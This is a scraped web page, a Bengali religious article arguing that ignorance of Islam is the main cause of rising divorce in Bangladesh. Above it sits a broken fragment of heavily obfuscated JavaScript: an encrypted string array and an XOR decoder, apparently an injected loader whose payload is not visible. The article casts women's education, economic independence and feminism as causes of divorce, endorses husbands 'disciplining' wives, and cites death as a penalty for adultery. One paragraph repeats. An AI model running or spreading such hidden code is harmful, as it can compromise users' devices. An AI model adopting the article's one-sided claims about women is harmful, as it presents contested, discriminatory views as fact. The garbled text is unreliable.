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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

ধর্মীয় অজ্ঞতাই বিবাহ বিচ্ছেদের মূল কারণ: একটি বিশ্লেষণ

০১:১৮:৫৬ পূর্বাহ্ন, শনিবার, ১২ জুলাই ২০২৫

বিয়ে ইসলামি শরিয়তের একটি বৈধ চুক্তি, যা প্রাপ্তবয়স্ক মুমিন নরনারীকে দাম্পত্য জীবন শুরুর অনুমতি দেয়। এই পারিবারিক ও ধর্মীয় বন্ধন ইসলামে অত্যন্ত গুরুত্বপূর্ণ, কারণ একটি সুন্দর ইসলামিক পরিবারেই ইসলামের সঠিক চর্চা সম্ভব। যে পরিবারে দ্বীনের চর্চা যত বেশি, সেই পরিবার আল্লাহর কাছে তত প্রিয়।

অথচ আধুনিক সময়ে পরিবারগুলোতে দ্বীনের চর্চা প্রায় অনুপস্থিতির কারণে বিবাহ বন্ধনগুলো ক্রমবর্ধমান হারে বিবাহ বিচ্ছেদে রূপ নিচ্ছে। কিন্তু কেন বর্তমানে ডিভোর্সের হার এত বেশি? এর কারণ অনুসন্ধানে দেখা যায়, দ্বীন ইসলামের গভীর অজ্ঞতাই ডিভোর্সের অন্যতম প্রধান কারণ। আসুন, ইসলামী জ্ঞানের অভাব কীভাবে আমাদের দেশে বিবাহ বিচ্ছেদকে মহামারীরূপে ছড়িয়ে দিচ্ছে, তা জানার চেষ্টা করি।

বিবাহ বিচ্ছেদের বর্তমান ভয়াবহ চিত্র

বর্তমান সময়ে বাংলাদেশে বিবাহ বিচ্ছেদ বা ডিভোর্সের হার উদ্বেগজনকভাবে বৃদ্ধি পেয়েছে, যা রীতিমতো ভয়াবহ। পরিসংখ্যানে দেখা যায়, ঢাকায় প্রতি চল্লিশ মিনিটে একটি বিবাহ বিচ্ছেদ ঘটছে। ২০২২ সালে রাজধানী ঢাকায় প্রতিদিন গড়ে ৩৭টি তালাকের ঘটনা নথিভুক্ত হয়েছে। এই ঊর্ধ্বমুখী প্রবণতা সারাদেশে বিস্তৃত।

এই বিবাহ বিচ্ছেদের হার রাতারাতি বাড়েনি। গত এক দশকের জরিপ পর্যালোচনা করলে দেখা যায়, কীভাবে এই নীরব পারিবারিক ঘাতক ধীরে ধীরে আমাদের সমাজকে গ্রাস করছে।

বিভিন্ন জরিপে উঠে আসা বিবাহ বিচ্ছেদের কিছু চিত্র:

  • ঢাকায় ২০২১ সালে ১৪,৬৫৯টি এবং ২০২০ সালে ১২,৫১৩টি বিবাহ বিচ্ছেদ হয়।
  • ২০২২ সালে চট্টগ্রামে বিবাহ বিচ্ছেদের সংখ্যা ছিল ৫,৯৭৬টি।
  • ২০২১ সালে রংপুরে ৭,২১৫টি এবং ২০২০ সালে ময়মনসিংহে ৬,৩৯০টি তালাকের ঘটনা ঘটে।
  • ঢাকা সিটি করপোরেশনের তথ্য অনুযায়ী, ২০১২ সালে ৭,৪০২টি, ২০১৩ সালে ৭,৭০৮টি এবং ২০১৪ সালে ৯,০৪৫টি ডিভোর্সের আবেদন জমা পড়েছিল।
  • পরিসংখ্যান অনুযায়ী, ২০১৯ সালে ঢাকা সিটি করপোরেশনে প্রতি ঘণ্টায় একটি তালাকের আবেদন জমা পড়ছিল।
  • চট্টগ্রামে প্রতিদিন গড়ে ১৮টি তালাকের ঘটনা ঘটে।

বাংলাদেশ পরিসংখ্যান ব্যুরোর (বিবিএস) ‘বাংলাদেশ স্যাম্পল ভাইটাল স্ট্যাটিসটিকস ২০২২’ শীর্ষক জরিপ অনুযায়ী, এই ব্যাপক বিবাহ বিচ্ছেদের মূল কারণগুলো গভীরভাবে পর্যালোচনা করা প্রয়োজন। জরিপে আরও দেখা যায়, বেশিরভাগ বিচ্ছেদের ঘটনা (শতকরা ৭০ ভাগ) নারীদের পক্ষ থেকে ঘটছে এবং শহরাঞ্চলে বিবাহ বিচ্ছেদের হার গ্রামাঞ্চলের তুলনায় বেশি। উচ্চবিত্ত ও নিম্নবিত্ত পরিবারেও তালাকের প্রবণতা বেশি দেখা যায়।

বিবাহ বিচ্ছেদের মূল কারণসমূহ

আমাদের সমাজে বিভিন্ন কারণে বিবাহ বিচ্ছেদ সংঘটিত হয়। এটি কেবল স্বামী বা স্ত্রীর একক সিদ্ধান্তে হয় না, বরং অনেক ক্ষেত্রে পরিবারের প্ররোচনাও এর পেছনে কাজ করে। নিচে বিবাহ বিচ্ছেদের কিছু প্রধান কারণ আলোচনা করা হলো:

পরকীয়া: বিশ্বাসের চরম লঙ্ঘন

বিবাহ বিচ্ছেদের অন্যতম প্রধান কারণ হলো বিবাহবহির্ভূত সম্পর্ক বা পরকীয়া। তথ্য প্রযুক্তির সহজলভ্যতার কারণে নারী-পুরুষের অবাধ যোগাযোগের সুযোগ বৃদ্ধি পাওয়ায় পরকীয়ার প্রবণতা বেড়েছে। স্মার্ট ডিভাইসের মাধ্যমে সহজেই বিপরীত লিঙ্গের সাথে সম্পর্ক স্থাপন করা যাচ্ছে, যা বিবাহিত জীবনে মারাত্মক প্রভাব ফেলছে। পরকীয়ায় জড়িত ব্যক্তিরা শেষ পর্যন্ত বিবাহ বিচ্ছেদের মাধ্যমে নতুন সম্পর্কের দিকে অগ্রসর হয়।

শারীরিক ও মানসিক নির্যাতন: অসহনীয় পরিস্থিতি

যৌতুক, গোঁয়ার্তুমি, স্বামীর অবাধ্যতা, বদমেজাজি স্বভাব, জুয়া বা মাদকাসক্তির মতো বিভিন্ন কারণে স্বামী কর্তৃক শারীরিক ও মানসিক নির্যাতনের শিকার হয়েও অনেক নারী বিবাহ বিচ্ছেদের পথ বেছে নেন।

যৌতুক: সামাজিক অভিশাপ

বিশেষত নিম্ন ও মধ্যবিত্ত শ্রেণীতে যৌতুকের দাবি বিবাহ বিচ্ছেদের একটি অন্যতম কারণ। এই কুপ্রথা বহু পরিবারের সুখ কেড়ে নিয়েছে।

জুয়া ও মাদকাসক্তি: ধ্বংসের পথে সংসার

গত এক দশকে জুয়া ও মাদকাসক্তির বিস্তার ঘটেছে, যার ফলে আসক্ত স্বামীরা সুস্থভাবে সংসার পরিচালনা করতে ব্যর্থ হন এবং পরিণামে বিবাহ বিচ্ছেদ ঘটে।

স্বামীর অবাধ্যতা ও স্ত্রীর আধুনিকতা: সম্পর্কের অবনতি

যদিও আমাদের সমাজে পুরুষদের ডিভোর্স দেওয়ার হার কম, তবে স্বামীর অবাধ্যতা এবং স্ত্রীর অতিরিক্ত আধুনিকতাবাদী চিন্তাভাবনাও কিছু ক্ষেত্রে বিবাহ বিচ্ছেদের কারণ হয়।

ধর্মীয় অনুশাসন চর্চা না করা: মূল দুর্বলতা

স্বামী বা স্ত্রীর অথবা উভয়েরই ধর্মীয় অনুশাসন মেনে না চলার কারণে সংসারে অশান্তি দেখা দেয় এবং এক পর্যায়ে তা বিবাহ বিচ্ছেদের দিকে ধাবিত হয়।

নারীর অর্থনৈতিক স্বাধীনতা ও সেকুলার শিক্ষা: নতুন সমীকরণ

বর্তমান সময়ে নারীরা অর্থনৈতিকভাবে স্বাবলম্বী হওয়ায় তাদের বৈবাহিক জীবনে পরিবর্তন এসেছে। অনেক নারী সংসারে মানিয়ে নেওয়ার চেয়ে আলাদা থাকাকেই শ্রেয় মনে করেন। এছাড়া সেকুলার উচ্চশিক্ষা নারীকে পুরুষের সমকক্ষ ভাবতে শেখায়, যা অনেক সময় স্বামীকে যথাযথ সম্মান না জানানোর কারণ হয় এবং বিবাহ বিচ্ছেদের দিকে ধাবিত করে।

মনোমালিন্য ও ধৈর্য্যের অভাব: সম্পর্কের শুরুতে ফাটল

সংসারের শুরুতে দুজন অপরিচিত মানুষের একে অপরকে বুঝে নিতে সময় লাগে। এই সময়ে ধৈর্য্য ধারণের অভাব এবং সামান্য মনোমালিন্যও একসময় বড় ধরনের বিচ্ছেদের কারণ হতে পারে।

পারিবারিক প্ররোচনা: বাইরের হস্তক্ষেপ

কিছু ক্ষেত্রে পরিবারের সদস্যদের কুটিলতা ও প্ররোচনায় স্বামী-স্ত্রীর মধ্যে ভুল বোঝাবুঝি তৈরি হয় এবং বিবাহ বিচ্ছেদ ঘটে।

পরস্পরের শ্রদ্ধাবোধের অভাব: অসম্মানজনক সম্পর্ক

সমবয়সী বা কম বয়সের পার্থক্য থাকলে অনেক সময় স্বামী-স্ত্রীর মধ্যে শ্রদ্ধাবোধের অভাব দেখা যায়, যা সংসারে কলহের জন্ম দেয় এবং সম্পর্ক ভেঙে যায়।

অমতে বিয়ে ও পালিয়ে বিয়ে: অনিশ্চিত সূচনা

পারিবারিক সিদ্ধান্তে অমতে বিয়ে দেওয়া অথবা নিজেদের পছন্দে পালিয়ে বিয়ে করার কারণেও সংসারে অস্থিরতা দেখা দেয় এবং বিবাহ বিচ্ছেদ ঘটে।

স্বামী স্ত্রীর দূরত্ব ও ব্যস্ততা: বিচ্ছিন্ন জীবন

সংসারের শুরুতে বনিবনা না হলে বা কর্মজীবী স্বামী-স্ত্রীর অতিরিক্ত ব্যস্ততার কারণে একে অপরের থেকে দূরত্ব সৃষ্টি হয়, যা বিবাহ বিচ্ছেদের দিকে পরিচালিত করে।

দ্বীন ইসলামের অজ্ঞতা: বিবাহ বিচ্ছেদের প্রধান অনুঘটক

উপরোক্ত কারণগুলো গভীরভাবে পর্যবেক্ষণ করলে দেখা যায়, পরিবার, সমাজ ও রাষ্ট্রে ইসলামের পরিপূর্ণ অনুসরণ না থাকাটাই বিবাহ বিচ্ছেদের মূল কারণ। যদি আমরা আমাদের জীবনে ইসলামের সঠিক শিক্ষার চর্চা করতাম, তাহলে আজ আমাদের দেশে গণহারে ডিভোর্স হতো না।

পরকীয়া ও ইসলামী অনুশাসন

ইসলাম সরাসরি পরকীয়ার বিরোধী এবং জেনা-ব্যভিচারের ব্যাপারে কঠোর শাস্তির বিধান রেখেছে। বিবাহিত নারী বা পুরুষ পরকীয়ায় লিপ্ত হলে ইসলামী শরিয়তে তার শাস্তি মৃত্যুদণ্ড পর্যন্ত হতে পারে। ইসলামী আইনের প্রয়োগ থাকলে কোনো বিবাহিত ব্যক্তি পরকীয়ায় জড়িত হওয়ার সাহস পেত না। ধর্মীয় জ্ঞানের অভাব এবং রাষ্ট্রীয়ভাবে দৃষ্টান্তমূলক শাস্তির অনুপস্থিতিই পরকীয়ার বিস্তার ঘটাচ্ছে।

যৌতুক: ইসলামে সম্পূর্ণ নিষিদ্ধ

যৌতুক প্রথা হিন্দু সংস্কৃতি থেকে আগত, ইসলামে এর কোনো স্থান নেই। ইসলাম নারীদের সম্মান দিয়েছে এবং কন্যা সন্তানের পিতামাতাকে জান্নাতের সুসংবাদ দিয়েছে। অথচ আমাদের সমাজে যৌতুকের কারণে কন্যাদায়গ্রস্ত পরিবারগুলো অসহনীয় কষ্টের শিকার হচ্ছে। ইসলামে সহজ বিবাহের কথা বলা হয়েছে, যেখানে কম খরচে বিয়ে আল্লাহর কাছে বেশি প্রিয়। ইসলামী জ্ঞানের অভাবে মানুষ বিধর্মী সংস্কৃতির চর্চা করছে এবং এর ফলস্বরূপ সংসার ভাঙছে।

কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।
কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।

জুয়া ও মাদকাসক্তি: ইসলামে হারাম

ইসলামে জুয়াসহ সকল প্রকার মাদকদ্রব্য হারাম। দুনিয়াবি লোভে পড়ে অনেক পরিবার হারামখোর পাত্রের সাথে মেয়ের বিয়ে দেয়, যার পরিণতিতে সংসারে অশান্তি নেমে আসে এবং শেষ পর্যন্ত বিবাহ বিচ্ছেদ ঘটে।

অবাধ্যতা, আধুনিকতা ও পারস্পরিক শ্রদ্ধাবোধের অভাব: ইসলামী সমাধান

আধুনিক মেয়েদের উচ্চশিক্ষা ও পারিবারিক সুশিক্ষার অভাব, স্বামীর অবাধ্যতা, মতের অমিল ও শ্রদ্ধাবোধের অভাবও বিবাহ বিচ্ছেদের কারণ। অথচ ইসলামের সঠিক অনুসরণ করলে এসব সমস্যার উদ্ভব হতো না। ইসলামে সংসারের কর্তৃত্ব স্বামীর উপর ন্যস্ত, তবে তা স্ত্রীর উপর জবরদস্তি নয়। স্ত্রী স্বামীর বাধ্যগত থাকবে এবং স্ত্রীর মতামতও গুরুত্বপূর্ণ। রাসূল (সাঃ) স্ত্রীর অনুমতি ছাড়া স্বামীর জান্নাতে প্রবেশ এবং স্বামীর সুপারিশ ছাড়া স্ত্রীর জান্নাতে যাওয়াকে নিরুৎসাহিত করেছেন। সংসারে ইসলামী অনুশাসন মেনে চললে স্বামী-স্ত্রীর মধ্যে মতবিরোধ, বিদ্বেষ বা অশ্রদ্ধা তৈরি হওয়ার সুযোগ থাকে না। রাসূল (সাঃ) স্ত্রীকে সাংসারিক কাজে সাহায্য করার এবং সম্মান দেওয়ার শিক্ষা দিয়েছেন।

পারিবারিক প্ররোচনা ও ভুল বোঝাবুঝি: সুন্নাহর পথ

নববধূর প্রতি পরিবারের সদস্যদের সহানুভূতি ও সহযোগিতা প্রয়োজন। কিন্তু অনেক ক্ষেত্রে নববধূকে সম্মান না জানিয়ে তার দোষত্রুটি নিয়ে আলোচনা করা হয়, যা তাকে সাহায্যের জন্য নিজ পরিবারের কাছে যেতে বাধ্য করে এবং দুই পরিবারের মধ্যে সংঘাত সৃষ্টি হয়। ইসলামে সমস্যা সমাধানের জন্য সুন্নাহর পদ্ধতি অনুসরণ করার কথা বলা হয়েছে, যেখানে স্ত্রীকে বোঝানো এবং প্রয়োজনে বিছানা আলাদা করার কথা বলা হয়েছে, শারীরিক বা মানসিক নির্যাতনের কোনো স্থান নেই। কিছু মানুষরূপী শয়তান পারিবারিক কলহে ইন্ধন যোগায়, অথচ আল্লাহ ঝগড়া মিটিয়ে ফেলার কথা বলেছেন। রাসূল (সাঃ) স্ত্রীকে শাসনের অনুমতি দিয়েছেন, তবে অমানবিক নির্যাতনের নয়। যৌতুকের মতো নিকৃষ্ট প্রথার চর্চা এবং ইসলাম থেকে দূরে সরে যাওয়ার কারণেই সংসারে নির্যাতন ও বিবাহ বিচ্ছেদ ঘটে।

নারীর উচ্চশিক্ষা, অর্থনৈতিক স্বাধীনতা ও স্বামীর কর্তৃত্ব: ভারসাম্যপূর্ণ দৃষ্টিভঙ্গি

নারীর উচ্চশিক্ষা ও অর্থনৈতিক স্বাধীনতা সমাজে ডিভোর্সের হার বাড়িয়ে দিয়েছে। ইসলাম নারী নেতৃত্বে বিশ্বাসী নয় এবং সংসারে স্বামীর কর্তৃত্বের কথা বলে, তবে এর অর্থ স্ত্রীকে অবজ্ঞা করা নয়। যেকোনো বিষয়ে স্বামী-স্ত্রীর পারস্পরিক সম্মতির গুরুত্ব ইসলামে স্বীকৃত, তবে স্ত্রী স্বামীর শরিয়তী অনুশাসনের প্রতি শ্রদ্ধাশীল থাকবেন। সেকুলার শিক্ষা ও নারীবাদের প্রভাবে অনেক নারী স্বামীর কর্তৃত্ব মেনে নিতে চান না এবং অর্থনৈতিক স্বাধীনতা তাদের ডিভোর্সের দিকে ধাবিত করে। কর্মজীবী স্ত্রীদের সংসারে সময় দিতে না পারাও কলহের কারণ হয়। ইসলামে প্রয়োজনের অতিরিক্ত স্ত্রীর চাকরি নিরুৎসাহিত করা হয়েছে এবং প্রয়োজনে চাকরি করলে স্বামীকে সংসারের দায়িত্ব ভাগ করে নেওয়ার কথা বলা হয়েছে।

অমতে বিয়ে ও পালিয়ে বিয়ে: ইসলামী নীতি বিরুদ্ধ

কনের অমতে বা পরিবারের অনুমতি ছাড়া বিয়ে ইসলামে গ্রহণযোগ্য নয় এবং এই ধরনের বিয়ে বেশি দিন টেকে না। শরিয়ত মেনে কনের সম্মতিতে পারিবারিক ভাবে বিয়ে দিলে অনাকাঙ্ক্ষিত ঘটনা এড়ানো যায়।

দ্বীনদারিতার চেয়ে অর্থকে প্রাধান্য দেওয়া: ভুল নির্বাচন

আমাদের সমাজে দ্বীনদারিতার চেয়ে অর্থসম্পদকে বেশি গুরুত্ব দেওয়া হয়। দ্বীনদার পাত্র আর্থিকভাবে দুর্বল হলে অনেক অভিভাবক তার সাথে মেয়ের বিয়ে দিতে চান না। পরবর্তীতে পয়সাঅলা পাত্রের সাথে বিয়ে দিলে সংসারে অশান্তি দেখা দেয়। পাত্র-পাত্রী নির্বাচনে দ্বীনদারিতাকে প্রাধান্য না দেওয়ার কারণেও বিবাহ বিচ্ছেদ ঘটে।

ইসলাম প্রতিপালনই ডিভোর্সের একমাত্র সমাধান

উপর্যুক্ত আলোচনা থেকে স্পষ্ট হয় যে, পরিবার, সমাজ ও রাষ্ট্রে ইসলামের চর্চা না থাকার কারণেই আমরা বিবাহ বিচ্ছেদের মতো ভয়াবহ সমস্যার সম্মুখীন হচ্ছি। আমাদের জীবনে ইসলামের পরিপূর্ণ অনুসরণই এই করুণ পরিণতি থেকে মুক্তি দিতে পারে।

বিয়ের আগে পাত্র-পাত্রীর দ্বীনদারী যাচাই করলে ভবিষ্যৎ বিবাহ বিচ্ছেদ এড়ানো সম্ভব। একজন প্রকৃত মুমিন জীবনের সর্বক্ষেত্রে ইসলামের চর্চা করে এবং একজন ইমানদার স্বামী কখনোই স্ত্রীর প্রতি অবিচার করতে পারে না। একজন পরহেজগার স্ত্রী শত কষ্টের মধ্যেও আল্লাহর উপর ভরসা রাখে এবং সংসার টিকিয়ে রাখার আপ্রাণ চেষ্টা করে।

অতএব, আমাদের প্রধান কাজ হলো নিজে দ্বীনদার হওয়া এবং একজন দ্বীনদার সঙ্গী খুঁজে নেওয়া, যাতে আমাদের ভবিষ্যৎ প্রজন্মও দ্বীনদার হতে পারে। নিজে ইসলাম পালন না করে একজন পরহেজগার সঙ্গী চাওয়া স্ববিরোধী। বিশিষ্ট আলেমদের মতে, বেনামাজীর সাথে নামাজীর বিয়ে বৈধ নয়।

তাই আসুন, জীবনের প্রতিটি মুহূর্তে ইসলামের পরিপূর্ণ অনুসরণ করি এবং বিবাহ বিচ্ছেদ বা ডিভোর্সের মতো মর্মান্তিক ব্যাধি থেকে মুক্তি লাভ করি।